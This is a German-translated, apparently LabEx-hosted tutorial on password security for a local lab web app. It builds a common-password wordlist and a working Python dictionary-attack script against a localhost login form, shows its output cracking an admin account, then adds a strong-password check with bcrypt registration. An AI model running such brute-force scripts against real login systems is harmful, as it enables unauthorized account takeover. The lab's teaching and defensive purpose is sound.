💡 Dieser Artikel wurde von AI-Assistenten übersetzt. Um die englische Version anzuzeigen, können Sie hier klicken
In diesem Lab übernehmen Sie die Rolle eines Sicherheitsforschers, der mit der Prüfung der Passwortsicherheit einer Webanwendung betraut ist. Sie werden die Schwachstellen schwacher Passwörter erkunden und Techniken kennenlernen, die zum Knacken dieser Passwörter eingesetzt werden. Diese praktische Erfahrung wird Ihnen Einblicke in Angriffstechniken sowie in die Wichtigkeit solider Verteidigungsmaßnahmen in der Cybersicherheit geben.
In diesem Schritt werden wir Informationen über unsere Zielwebsite sammeln, was eine entscheidende erste Phase bei jeder Sicherheitsbewertung ist.
http://localhost:8080/. Sie können dies tun, indem Sie auf die Registerkarte Web 8080 in der LabEx-Umgebung klicken.
Hinweis: In der LabEx-Virtual Machine läuft der Webserver auf einem temporären öffentlichen Netzwerk. Das bedeutet, dass der Domainname, den Sie sehen, möglicherweise nicht "localhost" sondern eine tatsächlich erreichbare Domain ist. Dies ist normal und beeinträchtigt die Lab-Übung nicht.
Untersuchen Sie das Anmeldeformular sorgfältig. Notieren Sie sich Folgendes:
Versuchen Sie, sich mit ein paar zufälligen Kombinationen von Benutzernamen und Passwörtern anzumelden. Beispielsweise:
test, Passwort: password123admin, Passwort: adminuser, Passwort: 12345Für jeden Versuch sollten Sie eine Meldung "Ungültiger Benutzername oder Passwort" erhalten.
Diese erste Erkundung hilft uns, das System zu verstehen, mit dem wir es zu tun haben, und gibt uns Anhaltspunkte für unsere nächsten Schritte beim Versuch, die Passwörter zu knacken.
Nachdem wir Informationen über das Anmeldesystem gesammelt haben, erstellen wir nun ein Wörterbuch mit potenziellen Passwörtern. Dies ist eine gängige Technik bei Passwort-Knackversuchen.
passwords.txt zu erstellen und zu befüllen:cat << EOF > ~/project/password_lab/passwords.txt
123456
password
qwerty
letmein
admin
welcome
monkey
123456789
1234567890
superman
supersecret123
iloveyou
password123
123123
000000
12345678
sunshine
qwerty123
1q2w3e4r
111111
1234567
starwars
dragon
princess
adobe123
football
ashley
bailey
trustno1
passw0rd
whatever
EOFDieser Befehl nutzt eine Technik namens "Here Document" in bash. Sie ermöglicht es uns, eine Datei mit mehreren Textzeilen in einem einzigen Befehl zu erstellen. So funktioniert es:
cat << EOF > filename: Dies teilt dem System mit, dass es all den Text bis zu dem Punkt, an dem es "EOF" (End Of File) sieht, nehmen und in die angegebene Datei schreiben soll.EOF und dem zweiten EOF ist der Inhalt, der in die Datei geschrieben wird.EOF markiert das Ende des zu schreibenden Texts.Nachdem Sie diesen Befehl ausgeführt haben, haben Sie eine Datei namens passwords.txt im Verzeichnis ~/project/password_lab/ erstellt, die eine Liste häufig verwendeter (und daher schwacher) Passwörter enthält.
In einer realen Welt würden Angreifer möglicherweise viel größere Wörterbücher verwenden, die oft Millionen von Passwörtern enthalten. Diese könnten Folgendes umfassen:
Das Erstellen und Verwenden solcher Wörterbücher für unbefugten Zugang ist illegal und unethisch. Wir verwenden dieses kleine Wörterbuch nur zu Bildungszwecken, um zu verstehen, wie diese Angriffe funktionieren und wie man sich dagegen schützen kann.
Nachdem wir unser Passwort-Wörterbuch erstellt haben, erstellen wir nun ein Python-Skript, um den Prozess des Testens dieser Passwörter an unserer Zielwebsite zu automatisieren.
Öffnen Sie das Terminal auf dem Desktop, falls es noch nicht geöffnet ist.
Geben Sie den folgenden Befehl ein, um eine neue Datei namens password_cracker.py im Nano-Texteditor zu öffnen:
nano ~/project/password_lab/password_cracker.pyimport requests
import time
def crack_password(username, password_list):
url = 'http://localhost:8080'
for password in password_list:
response = requests.post(url, data={'username': username, 'password': password.strip()})
if 'Login successful!' in response.text:
print(f"Succeeded! {username} with password: {password.strip()}")
else:
print(f"Failed attempt for {username} with password: {password.strip()}")
time.sleep(0.1) ## Small delay to avoid overwhelming the server
def main():
usernames = ['admin', 'user', 'root', 'administrator', 'webmaster']
with open('passwords.txt', 'r') as f:
passwords = f.readlines()
for username in usernames:
print(f"Attempting to crack password for user: {username}")
crack_password(username, passwords)
if __name__ == '__main__':
main()Strg+X drücken, dann Y und schließlich Enter.Lassen Sie uns analysieren, was dieses Skript tut:
Die Funktion crack_password:
Die Funktion main:
passwords.txt-Datei.crack_password mit der Liste der Passwörter auf.Dieses Skript automatisiert den Prozess des Ausprobierens vieler Benutzername- und Passwortkombinationen, ähnlich wie ein Angreifer es bei einem Versuch, in ein System einzudringen, tun würde. Es ist jedoch wichtig zu beachten, dass die unbefugte Verwendung solcher Techniken illegal und unethisch ist. Wir verwenden dieses Skript nur zu Bildungszwecken, um zu verstehen, wie diese Angriffe funktionieren und wie man sich dagegen schützen kann.
Nachdem wir unser Passwort-Knackskript erstellt haben, führen wir es aus und analysieren die Ergebnisse.
cd ~/project/password_labpython password_cracker.pylabex:password_lab/ $ python password_cracker.py
Attempting to crack password for user: admin
Failed attempt for admin with password: 123456
Failed attempt for admin with password: password
Failed attempt for admin with password: qwerty
Failed attempt for admin with password: letmein
Failed attempt for admin with password: admin
Failed attempt for admin with password: welcome
Failed attempt for admin with password: monkey
Failed attempt for admin with password: 123456789
Failed attempt for admin with password: 1234567890
Failed attempt for admin with password: superman
Succeeded! admin with password: supersecret123Diese Übung zeigt, wie schwache Passwörter mithilfe von gängigen Wörtern oder Mustern leicht erraten werden können. In diesem Fall war "admin" mit dem Passwort "supersecret123" anfällig für unseren Wörterbuchangriff.
Es ist wichtig zu verstehen, dass obwohl dieses Skript in dieser kontrollierten Umgebung erfolgreich war, der Versuch, solche Techniken gegen reale Systeme ohne ausdrückliche Genehmigung anzuwenden, illegal und unethisch ist. Dieses Wissen sollte verwendet werden, um Schwachstellen zu verstehen und die Sicherheit zu verbessern, nicht um Systeme auszunutzen.
Nachdem wir einige Passwörter erfolgreich geknackt haben, setzen wir nun bessere Passwortrichtlinien um, um solche Angriffe zu verhindern.
WebIDE in der LabEx-VM. WebIDE ist eine webbasierte integrierte Entwicklungsumgebung (Integrated Development Environment, IDE), die es Ihnen ermöglicht, Code direkt in Ihrem Browser zu schreiben, auszuführen und zu debuggen. Sie ähnelt dem VS Code-Editor, läuft jedoch im Browser. WebIDE eignet sich gut für die Bearbeitung längerer Code-Dateien.
app.py, um sie im Editor zu öffnen.users-Dictionary hinzu, um Passwortstärke-Prüfungen umzusetzen:import re
def is_strong_password(password):
if len(password) < 12:
return False
if not re.search(r'[A-Z]', password):
return False
if not re.search(r'[a-z]', password):
return False
if not re.search(r'\d', password):
return False
if not re.search(r'[!@#$%^&*(),.?":{}|<>]', password):
return False
return True
Diese Funktion prüft, ob ein Passwort:
if __name__ == '__main__': hinzu:@app.route('/register', methods=['GET', 'POST'])
def register():
message = ''
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username and password:
if is_strong_password(password):
if username not in users:
users[username] = bcrypt.hashpw(password.encode('utf-8'), bcrypt.gensalt())
message = 'Registration successful!'
else:
message = 'Username already exists'
else:
message = 'Password is not strong enough'
else:
message = 'Username and password are required'
return render_template_string('''
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Secure Registration</title>
<script src="https://cdn.tailwindcss.com"></script>
</head>
<body class="bg-gray-100 h-screen flex items-center justify-center">
<div class="bg-white p-8 rounded-lg shadow-md w-96">
<h2 class="text-2xl font-bold mb-6 text-center text-gray-800">Secure Registration</h2>
<form method="post" class="space-y-4">
<div>
<label for="username" class="block text-sm font-medium text-gray-700">Username</label>
<input type="text" id="username" name="username" required class="mt-1 block w-full px-3 py-2 bg-white border border-gray-300 rounded-md shadow-sm focus:outline-none focus:ring-indigo-500 focus:border-indigo-500">
</div>
<div>
<label for="password" class="block text-sm font-medium text-gray-700">Password</label>
<input type="password" id="password" name="password" required class="mt-1 block w-full px-3 py-2 bg-white border border-gray-300 rounded-md shadow-sm focus:outline-none focus:ring-indigo-500 focus:border-indigo-500">
</div>
<div>
<button type="submit" class="w-full flex justify-center py-2 px-4 border border-transparent rounded-md shadow-sm text-sm font-medium text-white bg-indigo-600 hover:bg-indigo-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-indigo-500">
Register
</button>
</div>
</form>
<p class="mt-4 text-center text-sm text-gray-600">{{ message }}</p>
<p class="mt-2 text-center text-xs text-gray-500">Password must be at least 12 characters long and contain uppercase, lowercase, numbers, and special characters.</p>
</div>
</body>
</html>
''', message=message)
Dieser Code erstellt eine neue Route für die Benutzerregistrierung. Er prüft, ob das eingegebene Passwort unseren Kriterien für starke Passwörter entspricht, bevor ein neuer Benutzer erstellt wird.
pkill -f "python app.py"
python ~/project/password_lab/app.pyWeb 8080 und fügen Sie /register zur URL hinzu, um das neue Registrierungsformular zu erreichen:
Versuchen Sie, ein neues Konto mit einem schwachen Passwort (z.B. "password123") zu registrieren. Beobachten Sie, wie die Anwendung die neue Passwortrichtlinie durchsetzt.
Registrieren Sie nun ein neues Konto mit einem starken Passwort, das allen Kriterien entspricht. Beispielsweise:
labexS3cureP@ssw0rd-2024Dieses Passwort erfüllt alle unsere Anforderungen: Es ist länger als 12 Zeichen, enthält Groß- und Kleinbuchstaben, Zahlen und Sonderzeichen.
Nachdem Sie sich erfolgreich registriert haben, testen wir unser Passwort-Knackskript gegen dieses neue, starke Passwort. Ändern Sie das Skript password_cracker.py:
nano ~/project/password_lab/password_cracker.pyusernames = ['admin', 'user', 'root', 'administrator', 'webmaster'] sagt.usernames = ['labex']Führen Sie das geänderte Skript aus:
python ~/project/password_lab/password_cracker.pyBeobachten Sie, dass das Skript das neue, starke Passwort nicht knacken kann. Dies zeigt die Wirksamkeit der Umsetzung starker Passwortrichtlinien.
In diesem Lab haben Sie den Prozess des ethischen Hackens und der Passwortsicherheitsprüfung kennengelernt. Hier ist eine Zusammenfassung dessen, was Sie erreicht haben:
